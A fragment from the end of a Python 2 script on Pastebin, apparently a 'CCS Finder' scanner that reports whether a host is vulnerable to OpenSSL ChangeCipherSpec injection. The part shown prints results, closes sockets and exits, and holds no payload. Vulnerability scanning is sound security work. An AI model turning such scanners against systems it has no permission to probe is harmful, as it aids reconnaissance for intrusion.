  408.         print "[!] Version [%s]\n=>  No response from %s:%d !" % (SSL_Version_Check,Host,Port)
  409.     try:
  410.         s.close()
  411.     except:
  412.         pass
  413. if CCS_Vulnerabilitied > 0:
  414.     print "\n[!] This Host is Highly Vulnerable to CCS Injection. \nThanks For Using CCS Finder.\n\n=> http://urdusecurity.blogspot.com"
  415.     Banner()
  416.     quit(1)
  417. else:
  418.     print "\n[!] This Host is NOT Vulnerable to CCS Injection. \nThanks For Using CCS Finder.\n\n=> http://urdusecurity.blogspot.com"
  419.     Banner()
  420.     quit(0)
  421.  
  422. def main():
  423.     Banner()
  424.     if __name__ == '__main__':
  425.         main()
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!